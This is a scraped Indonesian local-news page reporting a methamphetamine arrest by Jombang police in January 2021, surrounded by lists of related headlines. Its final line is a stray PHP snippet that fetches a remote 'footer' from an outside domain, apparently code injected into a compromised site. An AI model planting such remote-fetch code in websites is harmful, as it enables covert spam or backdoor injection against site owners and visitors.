Polres Jombang Kembali Ungkap Kasus Narkoba 

Jumat, 15 Januari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Jombang -Jatim

Satresnarkoba kembali menangkap peredaran dan pemakaian barang haram kali ini satu tersangka asal desa kedungjati kecamatan Kabuh pekerja serabutan atas nama Sukirman alias Kirman penangkapan terjadi pada tanggal 12/01/2021 di dalam rumahnya sekitar pukul 16.00 WIB

Menurut kasat Resnarkoba pasal yang dilanggar adalah apabila Setiap orang dengan sengaja tanpa hak melawan hukum menyimpan, memiliki serta ingin menguasai dan atau sebagai penyalahguna Narkotika golongan I bukan tanaman jenis Sabu seperti yang dimaksud dalam Pasal 112 ayat (1) yo Pasal 127 ayat (1) huruf (a) UURI No.35 th 2009 tentang Narkotika.

Baca Juga:  Anggota DWP Kabupaten Cirebon Diminta Kuasai Teknologi Digital

Kemudian barang bukti yang disita yaitu 1(satu) plastik klip di duga terdapat sisa sabu berat kotor 0,25 gram ,seperangkat alat hisap (bong),1 (satu) buah pipet kaca diduga terdapat sisa sabu dgn berat kotor (1.32 gr), 1(satu) tas kecil warna hitam Merk SMARSOL, 1 (satu) HP merk Samsung warna biru hijau muda beserta simcard.

Baca Juga:  Tingkatkan Kemampuan, Prajurit Batalyon Polisi Militer 2 Marinir Laksanakan Renang Militer

Kronologi kejadian bahwa tersangka merupakan pengembangan jaringan terkait pelaku lain sebelumya kemudian berhasil dilakukan penangkapan berikut barang buktinya. Selanjutnya tersangka dan barang bukti di bawa ke kantor Satresnarkoba Polres Jombang untuk dilakukan penyidikan lebih lanjut.

Baca Juga:  Pemkab Nias Gelar Rapat Penyusunan sejumlah Laporan Pertanggung Jawaban

Kemudian adanya tindak lanjut dari proses hukumnya adalah Melengkapi mindik,Riksa saksi-saksi,Riksa terlapor sbg Tersangka serta Kirim BB ke Labfour cab. Polda Jatim dan laporkan hasil perkembangan ke Pimpinan pungkas Kasat Resnarkoba AKP Mukid ( Aan jk)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim
Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 
Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 
Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas
Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran
DPO Perkara Tindak Pidana Korupsi Dana Desa (DD) di Ringkus
Gelar Vaksinasi Massal, Pemkab Kaur Tergetkan 2000 Dosis
Rutan Medaeng Akan Dibuat Mirip Apartemen

Berita Terkait

Senin, 8 Agustus 2022 - 21:30 WIB

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim

Senin, 27 Juni 2022 - 22:25 WIB

Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 

Senin, 27 Juni 2022 - 21:29 WIB

Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 

Kamis, 10 Februari 2022 - 06:46 WIB

Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas

Senin, 13 Desember 2021 - 13:29 WIB

Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran

Berita Terbaru

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

Peristiwa

Kick Off (ILP) Di Launching Oleh Plt Bupati Malang

Rabu, 16 Okt 2024 - 11:09 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>